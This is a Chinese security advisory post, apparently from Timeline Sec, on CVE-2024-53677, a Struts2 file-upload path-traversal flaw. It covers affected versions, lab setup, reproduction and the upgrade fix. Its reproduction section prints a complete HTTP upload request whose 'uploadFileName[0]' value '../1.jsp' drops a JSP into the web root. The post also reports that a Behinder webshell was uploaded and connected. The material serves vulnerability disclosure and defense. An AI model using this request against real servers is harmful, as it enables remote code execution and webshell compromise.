前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2024-53677:Apache Struts2文件上传逻辑漏洞S2-067

CVE-2024-53677:Apache Struts2文件上传逻辑漏洞S2-067

作者头像
Timeline Sec
发布2024-12-23 14:47:39
发布2024-12-23 14:47:39
1.3K30
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

0x01 简介

Apache Struts2 是一个流行的 Java Web 应用程序框架,广泛用于开发企业级应用。该漏洞出现在 Struts2 的文件上传功能中,由于缺乏对上传文件类型的严格验证,攻击者可以绕过文件类型过滤规则,上传恶意文件,从而在目标系统上执行任意代码或开展进一步的攻击。

0x02 漏洞概述

漏洞编号:CVE-2024-53677 在远程服务器代码中使用了FileUploadInterceptor作为文件上传组件时,Apache Struts在文件上传逻辑上存在漏洞。攻击者可以利用该漏洞进行路径遍历,成功利用该漏洞可以使攻击者能够上传恶意文件,从而导致远程代码执行。

0x03 利用条件

1)影响版本 Struts 2.0.0 - Struts 2.3.37(EOL) Struts 2.5.0 - Struts 2.5.33 Struts 6.0.0 - Struts 6.3.0.2 2)所需权限:无权限要求

3)其他条件:存在上传点且使用了FileUploadInterceptor作为文件上传组件

0x04 环境搭建

idea打开源码,选择本地tomcat,在Deployment中如图所示部署(环境源码:后台回复HJ-S2-067

运行,访问http://localhost:8080/untitled_war

0x05 漏洞复现

利用poc上传一个测试jsp,利用路径穿越到web根目录

代码语言:javascript
代码运行次数:0
运行
复制
POST /untitled_war/uploads.action HTTP/1.1
Host: IP:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://172.16.65.98:8080/untitled_war/
Content-Type: multipart/form-data; boundary=---------------------------376058448320617365003265882680
Content-Length: 529
Origin: http://192.168.0.116:8080
Connection: close
Cookie: JSESSIONID=953590EEDDD585B3CFE1A15E18C518C9
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: application/octet-stream

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>

<body>
    <p>test</p>
</body>
</html>


-----------------------------376058448320617365003265882680
Content-Disposition: form-data; name="uploadFileName[0]";

../1.jsp
-----------------------------376058448320617365003265882680--

可以被解析

同样方式上传冰蝎马到web根目录

成功连接webshell

0x06 修复方式

将框架升级到官方发布的最新版本并且使用ActionFileUploadInterceptor作为文件上传组件。

参考链接

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 利用条件
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档